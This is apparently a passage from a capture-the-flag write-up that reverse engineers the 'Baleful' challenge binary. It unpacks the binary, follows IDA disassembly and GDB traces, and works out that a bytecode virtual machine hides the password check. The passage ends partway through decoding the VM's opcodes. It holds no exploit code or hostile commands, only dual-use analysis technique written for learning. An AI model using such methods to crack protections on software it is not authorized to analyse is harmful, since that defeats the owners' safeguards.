<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ ./upx -d baleful
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91w Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
148104 <- 6752 4.56% netbsd/elf386 baleful
Unpacked 1 file.
</code></pre>
<br />
Now we have Baleful in a form that'll be much easier to reverse engineer. Load it into your preferred disassembler (I use IDA) and take a look. A good start would be trying to find the messages that the program prints, but they're not anywhere in the executable. Where could they be, then? A good start might be learning how I/O is done in the first place. Looking at the PLT (procedure linkage table), there are printf(), fputc(), and fgetc() functions. Quite a few things reference them.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:0804867C sub_804867C proc near ; CODE XREF: sub_804898B+12C9 p
.text:0804867C ; DATA XREF: .data:off_804C060 o
.text:0804867C
.text:0804867C arg_0 = dword ptr 8
.text:0804867C
.text:0804867C push ebp
.text:0804867D mov ebp, esp
.text:0804867F sub esp, 18h
.text:08048682 mov edx, ds:stderr
.text:08048688 mov eax, [ebp+arg_0]
.text:0804868B mov eax, [eax]
.text:0804868D mov [esp+4], edx ; stream
.text:08048691 mov [esp], eax ; c
.text:08048694 call _fputc
.text:08048699 mov eax, ds:stderr
.text:0804869E mov [esp], eax ; stream
.text:080486A1 call _fflush
.text:080486A6 mov eax, [ebp+arg_0]
.text:080486A9 mov eax, [eax]
.text:080486AB leave
.text:080486AC retn
.text:080486AC sub_804867C endp
</code></pre>
<br />
This function takes a single argument, a pointer to a character, and prints that character to stderr. It then calls fflush to make sure it's actually printed. Let's call this print_char in case we encounter it later. There's an analogous function for character input, which we'll call stdin_getc:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:080486FB sub_80486FB proc near ; DATA XREF: .data:0804C070 o
.text:080486FB
.text:080486FB arg_0 = dword ptr 8
.text:080486FB
.text:080486FB push ebp
.text:080486FC mov ebp, esp
.text:080486FE sub esp, 18h
.text:08048701 mov eax, [ebp+arg_0]
.text:08048704 mov [esp], eax
.text:08048707 call sub_80485F4
.text:0804870C mov eax, ds:stdin
.text:08048711 mov [esp], eax ; stream
.text:08048714 call _fgetc
.text:08048719 leave
.text:0804871A retn
.text:0804871A sub_80486FB endp </code></pre>
<br />
0x080485F4 is a small function that checks if we've reached EOF in stdin, and raises a signal if we have. We can also find some more I/O functions which don't appear to be used. Here's our final list of all I/O functions:<br />
<ul>
<li>0x0804867C (print_char) - Prints a single character to stderr</li>
<li>0x080486AD (print_dec) - Prints decimal numbers as strings</li>
<li>0x080486D4 (print_hex) - Prints hexadecimal numbers as strings</li>
<li>0x080487A9 (print_float) - Prints floating-point numbers as strings</li>
<li>0x080486FB (stdin_getc) - Read a single character from stdin and return it</li>
<li>0x0804871B (input_dec) - Reads a decimal number from stdin and returns it</li>
<li>0x0804874E (input_hex) - Reads a hexadecimal number from stdin and returns it</li>
<li>0x080487D8 (input_float) - Reads a floating-point number from stdin and returns it</li>
</ul>
<div>
All of these functions deal with basic text I/O. Interestingly enough, they're also all referenced by a table of functions at 0x0804C060. I call it io_ops since all the known functions in it are centered around that purpose:</div>
<div>
<br /></div>
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .data:0804C060 io_ops dd offset print_char ; DATA XREF: sub_804898B+12B9 r
.data:0804C064 dd offset print_dec
.data:0804C068 dd offset print_hex
.data:0804C06C dd offset print_float
.data:0804C070 dd offset stdin_getc
.data:0804C074 dd offset input_dec
.data:0804C078 dd offset input_hex
.data:0804C07C dd offset input_float
.data:0804C080 dd offset sub_8048619
.data:0804C084 dd offset sub_8048813
.data:0804C088 dd offset sub_8048834
.data:0804C08C dd offset sub_804887B
.data:0804C090 dd offset sub_80488B6
.data:0804C094 dd offset sub_80488F1
.data:0804C098 dd offset sub_804892C
.data:0804C09C dd offset sub_8048660
.data:0804C0A0 dd offset sub_804866A
.data:0804C0A4 dd offset sub_8048967
.data:0804C0A8 align 20h
</code></pre>
<div>
<br />
Is print_char used by Baleful to print the messages? That's not incredibly efficient, but would help obfuscate the program. We can find out by placing a GDB breakpoint on print_char and seeing what happens:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ gdb baleful
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from baleful...(no debugging symbols found)...done.
(gdb) b *0x0804867C
Breakpoint 1 at 0x804867c
(gdb) run
Starting program: /home_users/pico59150/baleful
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>P</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>l</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>e</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>a</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>s</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb) cont
Continuing.
<b>e</b>
Breakpoint 1, 0x0804867c in ?? ()
(gdb)
</code></pre>
<br />
Looks like that hypothesis is correct. Each time we execute print_char, the password prompt ("Please enter your password") gets printed out one character at a time. Whatever function is calling print_char is probably involved with printing out the message. Let's see where we were called from by viewing the return address on the stack:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) info registers
eax 0xffffd5c4 -10812
ecx 0xf7fc988c -134440820
edx 0x804867c 134514300
ebx 0xffffd690 -10608
esp 0xffffd5ac 0xffffd5ac
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x804867c 0x804867c
eflags 0x212 [ AF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x 0xffffd5ac
0xffffd5ac: </code><code style="word-wrap: normal;"><span style="color: red;">0x08049c56</span></code><code style="color: black; word-wrap: normal;">
(gdb) </code></pre>
<br />
The return address is 0x08049c56. Let's view the code in the vicinity of that:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049C2E loc_8049C2E: ; CODE XREF: sub_804898B+C0 j
.text:08049C2E ; DATA XREF: .rodata:off_8049DD4 o
.text:08049C2E mov eax, [ebp+var_34] ; jumptable 08048A4B case 32
.text:08049C31 add eax, 1
.text:08049C34 movzx eax, byte_804C0C0[eax]
.text:08049C3B movsx eax, al
.text:08049C3E mov [ebp+var_24], eax
.text:08049C41 mov eax, [ebp+var_24]
.text:08049C44 mov edx, io_ops[eax*4]
.text:08049C4B lea eax, [ebp+var_B4]
.text:08049C51 mov [esp], eax
</code><code style="word-wrap: normal;"><span style="color: red;">.text:08049C54 call edx ; print_char</span></code><code style="color: black; word-wrap: normal;">
.text:08049C56 mov [ebp+var_B4], eax
.text:08049C5C add [ebp+var_34], 2
.text:08049C60 jmp short loc_8049C67
.text:08049C62 ; ---------------------------------------------------------------------------
.text:08049C62
.text:08049C62 loc_8049C62: ; CODE XREF: sub_804898B+B3 j
.text:08049C62 ; sub_804898B+C0 j
.text:08049C62 ; DATA XREF: ...
.text:08049C62 add [ebp+var_34], 1 ; jumptable 08048A4B default case
.text:08049C66 nop
.text:08049C67
.text:08049C67 loc_8049C67: ; CODE XREF: sub_804898B+9D j
.text:08049C67 ; sub_804898B+C6 j ...
.text:08049C67 mov eax, [ebp+var_34]
.text:08049C6A add eax, offset byte_804C0C0
.text:08049C6F movzx eax, byte ptr [eax]
.text:08049C72 cmp al, 1Dh
.text:08049C74 jnz loc_8048A2D
.text:08049C7A mov eax, [ebp+var_B4]
.text:08049C80
.text:08049C80 locret_8049C80: ; CODE XREF: sub_804898B+E4 j
.text:08049C80 leave
.text:08049C81 retn
.text:08049C81 sub_804898B endp
</code></pre>
<br />
The highlighted text is where the actual call took place. Let's look back a bit to see where we came from. We can see that this is case 32 in some unknown jumptable. The first thing it does is read a 4-byte value from [ebp-0x34]. This value is used as an offset into some memory area at 0x804C0C0. This function reads the byte at 0x804C0C0+offset+1. What we can deduce from this is that there's some data structure pointed to by offset, and this function takes its second byte. That byte is used as an index into io_ops, from which a function is read and then called (in the highlighted line). The argument to the function is taken from [ebp-0xb4], and the return value is put there afterwards.<br />
<br />
Once the I/O function has been completed, it increments the offset in [ebp-0x34] by 2 and calls 0x08049c67. 0x08049c67 reads a byte at the new offset and then compares it to 0x1d. If it is 0x1d, it just returns from whatever function we're in, but otherwise, it jumps to 0x08048a2d. It's not exactly clear what the function is doing at this point, so let's see what happens at 0x08048a2d:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08048A2D loc_8048A2D: ; CODE XREF: sub_804898B+12E9 j
.text:08048A2D mov eax, [ebp+var_34]
.text:08048A30 add eax, offset byte_804C0C0
.text:08048A35 movzx eax, byte ptr [eax]
.text:08048A38 movsx eax, al
.text:08048A3B cmp eax, 20h ; switch 33 cases
.text:08048A3E ja loc_8049C62 ; jumptable 08048A4B default case
.text:08048A44 mov eax, ds:off_8049DD4[eax*4]
.text:08048A4B jmp eax ; switch jump
</code></pre>
<br />
Looks like 0x08048a2d is the jumptable dispatcher. It once again uses [ebp-0x34] as an offset into 0x0804c0c0, a pattern that's starting to emerge. It takes the first byte at that offset and uses it as an index into the jumptable. Recall that 0x8049c2e is a jumptable case, so it gets called directly from here. It looked at the second byte at the offset, and used that as a parameter. So the data pointed to by [ebp-0x34] always starts with a jumptable index, and then contains some case-specific data afterwards.<br />
<br />
What <b>is</b> at 0x0804c0c0 anyway? As it turns out, there's absolutely nothing but zeroes for the first 0x1000 bytes. Then there are some bytes which appear normal, though their purpose isn't yet known. But as we get to 0x0804D0F0, the data starts to lose any noticeable patterns and appears to be fairly random. It looks like there's some sort of encryption or packing going on. We'll get back to that much later.<br />
<br />
Now, it still wasn't completely clear what I was dealing with, but I began to have a hunch that this was a bytecode VM. The theory makes sense: it has an offset into some data area, it uses the first byte at that offset to choose one of many cases, each case can read additional data from that offset, and it always increments the offset after it finishes. Recall that 0x08049c2e, the one which called all the I/O functions, used the second byte at the offset only. Then it incremented the offset by 2 when it finished, and went back to the main dispatcher. If the VM theory is correct, Baleful is advancing an instruction pointer and dispatching the next one.<br />
<br />
The VM theory was actually quite plausible, so I decided to run with it. If it was true, that meant that everything in the 0x0804c0c0 area was a bytecode program that actually did everything. The I/O meta-function at 0x08049c2e would just be an instruction called by the bytecode program to communicate with the outside world. As obfuscation mechanisms go, it's a fairly good one. The new goal should be understanding enough of the VM to write a disassembler and reverse engineer the bytecode program.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .rodata:08049DD4 vm_instrs dd offset loc_8048A4D ; DATA XREF: sub_804898B+B9 r
.rodata:08049DD4 dd offset loc_8048A56 ; jump table for switch statement
.rodata:08049DD4 dd offset loc_8048A8F
.rodata:08049DD4 dd offset loc_8048BC4
.rodata:08049DD4 dd offset loc_8048CF9
.rodata:08049DD4 dd offset loc_8048E2F
.rodata:08049DD4 dd offset loc_8048F91
.rodata:08049DD4 dd offset loc_80495F5
.rodata:08049DD4 dd offset loc_8049649
.rodata:08049DD4 dd offset loc_80490C6
.rodata:08049DD4 dd offset loc_80491FB
.rodata:08049DD4 dd offset loc_804959E
.rodata:08049DD4 dd offset loc_8049330
.rodata:08049DD4 dd offset loc_8049467
.rodata:08049DD4 dd offset loc_80496D1
.rodata:08049DD4 dd offset loc_804969D
.rodata:08049DD4 dd offset loc_80496EC
.rodata:08049DD4 dd offset loc_8049715
.rodata:08049DD4 dd offset loc_804973E
.rodata:08049DD4 dd offset loc_8049767
.rodata:08049DD4 dd offset loc_8049790
.rodata:08049DD4 dd offset loc_80497B9
.rodata:08049DD4 dd offset loc_80497E2
.rodata:08049DD4 dd offset loc_80498F0
.rodata:08049DD4 dd offset loc_8049A02
.rodata:08049DD4 dd offset loc_8049A86
.rodata:08049DD4 dd offset loc_8049AB9
.rodata:08049DD4 dd offset loc_8049AEC
.rodata:08049DD4 dd offset loc_8049B43
.rodata:08049DD4 dd offset loc_8049C62
.rodata:08049DD4 dd offset loc_8049B92
.rodata:08049DD4 dd offset loc_8049BF8
.rodata:08049DD4 dd offset io_8049C2E
</code></pre>
<br />
There's a huge, intimidating jumptable staring us in the face, and of the 33 instructions there, we have only a single one. Let's try and see which ones are easy enough to identify right away.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08048A4D loc_8048A4D: ; DATA XREF: .rodata:vm_instrs o
.text:08048A4D add [ebp+ipos], 1 ; jumptable 08048A4B case 0
.text:08048A51 jmp loc_8049C67
</code></pre>
<br />
A case that does absolutely nothing but increment the instruction pointer (I now call it ipos). I'm willing to bet this is the equivalent of NOP on basically every CPU architecture. This is probably some sort of assembly language bytecode, then. Two instructions down, 31 to go. What else can we identify?<br />
<br />
Well, for me, pretty much nothing at all. 0x08049C62, which implements opcode 0x1d, is fairly easy to identify as the VM termination instruction, but that's not much help. Every other function just seemed incomprehensible from a static analysis perspective, using a bunch of local variables that I didn't know the meaning of. So I decided to go back to GDB, tracing the execution path of the program after the I/O dispatcher (opcode 0x20).<br />
<br />
Let's restart the program and set two breakpoints, one on the main VM loop and one inside the I/O dispatcher. We want to start debugging after the first I/O call, though, so we need to set up the breakpoint then:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ gdb baleful
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from baleful...(no debugging symbols found)...done.
(gdb) b *0x08049C54
Breakpoint 1 at 0x8049c54
(gdb) run
Starting program: /home_users/pico59150/baleful
Breakpoint 1, 0x08049c54 in ?? ()
(gdb) b *0x08048A2D
Breakpoint 2 at 0x8048a2d
(gdb)
</code></pre>
<br />
We want to see what instructions are being executed, so let's view the opcode every time we hit the main dispatcher:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) cont
Continuing.
P
Breakpoint 2, 0x08048a2d in ?? ()
(gdb) si
0x08048a30 in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x1041</span></code><code style="color: black; word-wrap: normal;"> 4161
ecx 0xf7fc988c -134440820
edx 0x0 0
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a30 0x8048a30
eflags 0x297 [ CF PF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) si
0x08048a35 in ?? ()
(gdb) si
0x08048a38 in ?? ()
(gdb) si
0x08048a3b in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x1</span></code><code style="color: black; word-wrap: normal;"> 1
ecx 0xf7fc988c -134440820
edx 0x0 0
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a3b 0x8048a3b
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
</code></pre>
<br />
Offset is 0x1041, opcode is 0x1. Let's keep doing this for a while.<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) cont
Continuing.
Breakpoint 2, 0x08048a2d in ?? ()
(gdb) si
0x08048a30 in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x1a79</span></code><code style="color: black; word-wrap: normal;"> 6777
ecx 0xf7fc988c -134440820
edx 0x0 0
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a30 0x8048a30
eflags 0x293 [ CF AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) si
0x08048a35 in ?? ()
(gdb) si
0x08048a38 in ?? ()
(gdb) si
0x08048a3b in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x18</span></code><code style="color: black; word-wrap: normal;"> 24
ecx 0xf7fc988c -134440820
edx 0x0 0
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a3b 0x8048a3b
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) cont
Continuing.
Breakpoint 2, 0x08048a2d in ?? ()
(gdb) si
0x08048a30 in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x1a80</span></code><code style="color: black; word-wrap: normal;"> 6784
ecx 0xf7fc988c -134440820
edx 0x6c 108
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a30 0x8048a30
eflags 0x283 [ CF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) si
0x08048a35 in ?? ()
(gdb) si
0x08048a38 in ?? ()
(gdb) si
0x08048a3b in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0xf</span></code><code style="color: black; word-wrap: normal;"> 15
ecx 0xf7fc988c -134440820
edx 0x6c 108
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a3b 0x8048a3b
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) cont
Continuing.
Breakpoint 2, 0x08048a2d in ?? ()
(gdb) si
0x08048a30 in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x103f</span></code><code style="color: black; word-wrap: normal;"> 4159
ecx 0xf7fc988c -134440820
edx 0x1a85 6789
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a30 0x8048a30
eflags 0x216 [ PF AF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) si
0x08048a35 in ?? ()
(gdb) si
0x08048a38 in ?? ()
(gdb) si
0x08048a3b in ?? ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x20</span></code><code style="color: black; word-wrap: normal;"> 32
ecx 0xf7fc988c -134440820
edx 0x1a85 6789
ebx 0xffffd690 -10608
esp 0xffffd5b0 0xffffd5b0
ebp 0xffffd678 0xffffd678
esi 0x0 0
edi 0xffffd70c -10484
eip 0x8048a3b 0x8048a3b
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
</code></pre>
<br />
Let's summarize what we see here. It's pretty important, since what I found while doing this was the big breakthrough that allowed me to quickly figure out the rest of the VM. After leaving the I/O instruction, we're at offset 0x1041. We can infer from this that the I/O instruction was at 0x103f. The opcode there is 0x1. After running opcode 0x1, we go back to the main VM loop, but the offset has suddenly jumped by a lot to 0x1a79. The most likely explanation is that opcode 0x1 modified ipos. Opcode 0x18 is then run, which seems to have a lot of associated data, as the ipos after that is 0x1a80. The opcode at 0x1a80 is 0xf. Afterwards, we can observe that ipos has changed back to 0x103f, about to run the I/O instruction again. 0xf is the only candidate for what modified ipos.<br />
<br />
If we allow the program to continue and run the I/O instruction, now the "l" character gets printed. This is the second character in the password prompt. So the I/O instruction runs, then opcode 0x1 runs and ipos completely changes as a result. At the new ipos, we run opcode 0x18 and 0xf. As a result of executing opcode 0xf, ipos goes back to what it was before and runs the I/O instruction again. But we have new data being passed to it! Which instruction did that? Assuming that each opcode does one specific thing, 0x18 is the only possibility.<br />
<br />
The way this is arranged made me think of returning from a function, getting some new data, and then going back to that same function. That would make 0x1 RET and 0xf CALL. And since 0x18 gets the new character to be printed, it's probably similar to MOV. As it turns out, simply figuring that out is amazingly helpful towards getting all 33 opcodes figured out. RET and CALL deal with the stack, and MOV deals with registers, so they'll shed a lot of light on the VM.<br />
<br />
Let's look at both 0x1 and 0xf first, which we believe are CALL and RET:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08048A56 ret_8048A56: ; CODE XREF: sub_804898B+C0 j
.text:08048A56 ; DATA XREF: .rodata:vm_instrs o
.text:08048A56 mov eax, [ebp+var_38] ; jumptable 08048A4B case 1
.text:08048A59 add eax, offset byte_804C0C0
.text:08048A5E mov eax, [eax]
.text:08048A60 mov [ebp+var_14], eax
.text:08048A63 cmp [ebp+var_14], 0
.text:08048A67 jnz short loc_8048A74
.text:08048A69 mov eax, [ebp+var_B4]
.text:08048A6F jmp locret_8049C80
.text:08048A74 ; ---------------------------------------------------------------------------
.text:08048A74
.text:08048A74 loc_8048A74: ; CODE XREF: sub_804898B+DC j
.text:08048A74 mov eax, [ebp+var_38]
.text:08048A77 add eax, 4
.text:08048A7A mov [ebp+var_38], eax
.text:08048A7D mov eax, [ebp+var_14]
.text:08048A80 mov [ebp+ipos], eax
.text:08048A83 mov [ebp+var_28], 0
.text:08048A8A jmp loc_8049C67
</code></pre>
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:0804969D call_804969D: ; CODE XREF: sub_804898B+C0 j
.text:0804969D ; DATA XREF: .rodata:vm_instrs o
.text:0804969D mov eax, [ebp+ipos] ; jumptable 08048A4B case 15
.text:080496A0 add eax, 1
.text:080496A3 add eax, offset byte_804C0C0
.text:080496A8 mov eax, [eax]
.text:080496AA mov [ebp+var_10], eax
.text:080496AD mov eax, [ebp+var_38]
.text:080496B0 sub eax, 4
.text:080496B3 mov [ebp+var_38], eax
.text:080496B6 mov eax, [ebp+var_38]
.text:080496B9 add eax, offset byte_804C0C0
.text:080496BE mov edx, [ebp+ipos]
.text:080496C1 add edx, 5
.text:080496C4 mov [eax], edx
.text:080496C6 mov eax, [ebp+var_10]
.text:080496C9 mov [ebp+ipos], eax
.text:080496CC jmp loc_8049C67
</code></pre>
<br />
We can see that both of these functions use [ebp-0x38]. RET uses it as an offset into the 0x0804c0c0 area, reading a 4-byte value from that offset. It increments the offset in [ebp-0x38] by 4 bytes and then stores the value it previously read in ipos. CALL does the opposite of this. It first reads a 4-byte value as part of the bytecode instruction, which is presumably the offset we want to jump to. It then decrements [ebp-0x38] by 4 bytes and stores the current value of ipos + 5, which would point to the instruction after the CALL. Then it puts the previously read value into ipos. These functions make it obvious that 0x1 and 0xf are indeed RET and CALL, and furthermore, that [ebp-0x38] is a stack pointer offset. Very useful to know.<br />
<br />
Now we want to look at MOV to see how it works, but the function looks very complex at first glance. Let's again use GDB to trace through it, at the point where the "l" character gets loaded. Opcode 0x18, which is MOV, has its case at 0x08049A02. Let's see which part of the case we end up branching to.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> .text:08049A02 loc_8049A02: ; CODE XREF: sub_804898B+C0 j
.text:08049A02 ; DATA XREF: .rodata:vm_instrs o
.text:08049A02 mov eax, [ebp+ipos] ; jumptable 08048A4B case 24
.text:08049A05 add eax, 1
.text:08049A08 movzx eax, byte_804C0C0[eax]
.text:08049A0F movsx eax, al
.text:08049A12 mov [ebp+var_C], eax
.text:08049A15 mov eax, [ebp+var_C]
.text:08049A18 test eax, eax
.text:08049A1A jz short loc_8049A23
.text:08049A1C cmp eax, 1
.text:08049A1F jz short loc_8049A57
.text:08049A21 jmp short loc_8049A81
</code></pre>
<br />
There are several cases we could end up in, let's just set breakpoints on all of them and see which one we hit.<br />
<br />
